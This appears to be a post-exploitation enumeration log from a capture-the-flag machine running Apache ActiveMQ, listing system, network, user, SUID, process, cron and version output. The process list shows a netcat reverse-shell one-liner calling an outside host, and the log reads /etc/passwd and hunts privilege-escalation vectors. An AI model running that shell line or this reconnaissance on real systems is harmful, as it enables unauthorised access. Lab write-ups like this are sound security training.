System/Kernel


activemq@broker:~$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=33a5554034feb2af38e8c75872058883b2988bc5, for GNU/Linux 3.2.0, stripped
linux broker 5.15.0-88-generic #98-ubuntu smp mon oct 2 15:18:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.3 LTS"
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
home_url="https://www.ubuntu.com/"
support_url="https://help.ubuntu.com/"
bug_report_url="https://bugs.launchpad.net/ubuntu/"
privacy_policy_url="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Ubuntu 22.04.3 LTS (Jammy Jellyfish) 5.15.0-88-generic x86_64

Networks


activemq@broker:~$ arp -a ; netstat -antup4
? (10.10.10.2) at 00:50:56:b9:d7:84 [ether] on eth0
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      1 10.10.11.243:37810      8.8.8.8:53              SYN_SENT    -                   
tcp        0    210 10.10.11.243:54958      10.10.16.8:9999         ESTABLISHED 5515/nc             
udp        0      0 10.10.11.243:56864      8.8.8.8:53              ESTABLISHED -                   
udp        0      0 10.10.11.243:40743      8.8.8.8:53              ESTABLISHED -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   
udp        0      0 10.10.11.243:55460      8.8.8.8:53              ESTABLISHED -                   
udp        0      0 127.0.0.1:45866         127.0.0.53:53           ESTABLISHED -                   

Users & Groups


activemq@broker:~$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
activemq:x:1000:1000:,,,:/home/activemq:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
total 12K
4.0k drwxr-x---  4 activemq activemq 4.0k nov  7 08:44 activemq
4.0k drwxr-xr-x  3 root     root     4.0k nov  6 01:18 .
4.0k drwxr-xr-x 18 root     root     4.0k nov  6 01:18 ..
activemq@broker:~$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=102(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=103(messagebus) gid=104(messagebus) groups=104(messagebus)
uid=104(systemd-timesync) gid=105(systemd-timesync) groups=105(systemd-timesync)
uid=105(pollinate) gid=1(daemon) groups=1(daemon)
uid=106(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=107(syslog) gid=113(syslog) groups=113(syslog),4(adm)
uid=108(uuidd) gid=114(uuidd) groups=114(uuidd)
uid=109(tcpdump) gid=115(tcpdump) groups=115(tcpdump)
uid=110(tss) gid=116(tss) groups=116(tss)
uid=111(landscape) gid=117(landscape) groups=117(landscape)
uid=112(fwupd-refresh) gid=118(fwupd-refresh) groups=118(fwupd-refresh)
uid=113(usbmux) gid=46(plugdev) groups=46(plugdev)
uid=999(lxd) gid=100(users) groups=100(users)
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
uid=998(_laurel) gid=998(_laurel) groups=998(_laurel)

uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)

SUIDs


activemq@broker:~$ find / -perm -04000 -ls -type f 2>/dev/null
      842     40 -rwsr-xr-x   1 root     root        40496 Nov 24  2022 /usr/bin/newgrp
      697     72 -rwsr-xr-x   1 root     root        72072 Nov 24  2022 /usr/bin/gpasswd
     1111     56 -rwsr-xr-x   1 root     root        55672 Feb 21  2022 /usr/bin/su
     1187     36 -rwsr-xr-x   1 root     root        35192 Feb 21  2022 /usr/bin/umount
      573     44 -rwsr-xr-x   1 root     root        44808 Nov 24  2022 /usr/bin/chsh
      681     36 -rwsr-xr-x   1 root     root        35200 Mar 23  2022 /usr/bin/fusermount3
     2484    228 -rwsr-xr-x   1 root     root       232416 Apr  3  2023 /usr/bin/sudo
      876     60 -rwsr-xr-x   1 root     root        59976 Nov 24  2022 /usr/bin/passwd
      830     48 -rwsr-xr-x   1 root     root        47480 Feb 21  2022 /usr/bin/mount
      567     72 -rwsr-xr-x   1 root     root        72712 Nov 24  2022 /usr/bin/chfn
     1409     36 -rwsr-xr--   1 root     messagebus    35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      333    332 -rwsr-xr-x   1 root     root         338536 Aug 24 13:40 /usr/lib/openssh/ssh-keysign
    13665     20 -rwsr-xr-x   1 root     root          18736 Feb 26  2022 /usr/libexec/polkit-agent-helper-1

SGIDs


activemq@broker:~$ find / -perm -02000 -ls -type f 2>/dev/null
      415      0 drwxr-sr-x   2 root     systemd-journal       40 dec 12 23:13 /run/log/journal
    35958      4 drwxrwsr-x   2 root     staff               4096 Apr 18  2022 /var/local
    37120      4 drwxr-sr-x   3 root     systemd-journal     4096 Apr 27  2023 /var/log/journal
   285166      4 drwxr-sr-x   2 root     systemd-journal     4096 dec 13 20:40 /var/log/journal/97985f393ecf4d86b4acd0b422f7d8c8
    35960      4 drwxrwsr-x   2 root     mail                4096 Feb 17  2023 /var/mail
     1229     24 -rwxr-sr-x   1 root     tty                22904 Feb 21  2022 /usr/bin/wall
      327    288 -rwxr-sr-x   1 root     _ssh              293304 aug 24 13:40 /usr/bin/ssh-agent
     1242     24 -rwxr-sr-x   1 root     tty                22912 Feb 21  2022 /usr/bin/write.ul
      663     24 -rwxr-sr-x   1 root     shadow             23136 Nov 24  2022 /usr/bin/expiry
      597     40 -rwxr-sr-x   1 root     crontab            39568 Mar 23  2022 /usr/bin/crontab
      563     72 -rwxr-sr-x   1 root     shadow             72184 Nov 24  2022 /usr/bin/chage
   302010      4 drwxrwsr-x   2 root     staff               4096 nov  5 00:14 /usr/local/share/fonts
    13515     16 -rwxr-sr-x   1 root     utmp               14488 Mar 24  2022 /usr/lib/x86_64-linux-gnu/utempter/utempter
    14186     28 -rwxr-sr-x   1 root     shadow             26776 Feb  2  2023 /usr/sbin/unix_chkpwd
    14140     24 -rwxr-sr-x   1 root     shadow             22680 Feb  2  2023 /usr/sbin/pam_extrausers_chkpwd

Processes


activemq@broker:~$ ps -auxwww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
activemq     969  0.7 11.9 3541972 479020 ?      Sl   Dec12  10:24 /usr/bin/java -Xms64M -Xmx1G -Djava.util.logging.config.file=logging.properties -Djava.security.auth.login.config=/opt/apache-activemq-5.15.15//conf/login.config -Dcom.sun.management.jmxremote -Djava.awt.headless=true -Djava.io.tmpdir=/opt/apache-activemq-5.15.15//tmp -Dactivemq.classpath=/opt/apache-activemq-5.15.15//conf:/opt/apache-activemq-5.15.15//../lib/: -Dactivemq.home=/opt/apache-activemq-5.15.15/ -Dactivemq.base=/opt/apache-activemq-5.15.15/ -Dactivemq.conf=/opt/apache-activemq-5.15.15//conf -Dactivemq.data=/opt/apache-activemq-5.15.15//data -jar /opt/apache-activemq-5.15.15//bin/activemq.jar start
activemq    5512  0.0  0.0   7368  3504 ?        S    22:15   0:00 /bin/bash -c mkfifo /tmp/osaj; nc 10.10.16.8 9999 0</tmp/osaj | /bin/sh >/tmp/osaj 2>&1; rm /tmp/osaj
activemq    5515  0.0  0.0   3532  2036 ?        R    22:15   0:00 nc 10.10.16.8 9999
activemq    5516  0.0  0.0   2888   956 ?        S    22:15   0:00 /bin/sh
activemq    5521  0.0  0.0   5784  1088 ?        R    22:17   0:00 script /dev/null -c bash
activemq    5522  0.0  0.1   8700  5388 pts/0    Ss   22:17   0:00 bash
activemq    5621  0.0  0.0  10332  3756 pts/0    R+   22:40   0:00 ps -auxwww

Cron & Systemd


activemq@broker:~$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for activemq
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                        LEFT          LAST                        PASSED   >
wed 2023-12-13 23:18:15 UTC 37min left    Tue 2023-12-12 23:18:15 UTC 23h ago  >
wed 2023-12-13 23:28:12 UTC 47min left    Tue 2023-12-12 23:28:12 UTC 23h ago  >
wed 2023-12-13 23:35:47 UTC 55min left    Wed 2023-12-13 13:22:01 UTC 9h ago   >
thu 2023-12-14 00:00:00 UTC 1h 19min left Wed 2023-12-13 00:00:04 UTC 22h ago  >
thu 2023-12-14 00:00:00 UTC 1h 19min left Wed 2023-12-13 00:00:04 UTC 22h ago  >
thu 2023-12-14 01:06:18 UTC 2h 25min left Wed 2023-12-13 14:51:26 UTC 7h ago   >
thu 2023-12-14 01:10:13 UTC 2h 29min left Wed 2023-12-13 10:13:08 UTC 12h ago  >
thu 2023-12-14 03:13:15 UTC 4h 32min left Wed 2023-12-13 10:25:08 UTC 12h ago  >
thu 2023-12-14 06:58:44 UTC 8h left       Wed 2023-12-13 06:45:57 UTC 15h ago  >
sat 2023-12-16 07:08:59 UTC 2 days left   Thu 2023-04-27 16:07:06 UTC 7 months >
sun 2023-12-17 03:10:18 UTC 3 days left   Tue 2023-12-12 23:13:38 UTC 23h ago  >
mon 2023-12-18 00:58:39 UTC 4 days left   Wed 2023-12-13 00:42:36 UTC 21h ago  >
 
12 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-16/16 (END)

Sudo Version


activemq@broker:~$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

Sudo version 1.9.9

Glibc Version


activemq@broker:~$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.4) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Ubuntu GLIBC 2.35-0ubuntu3.4) 2.35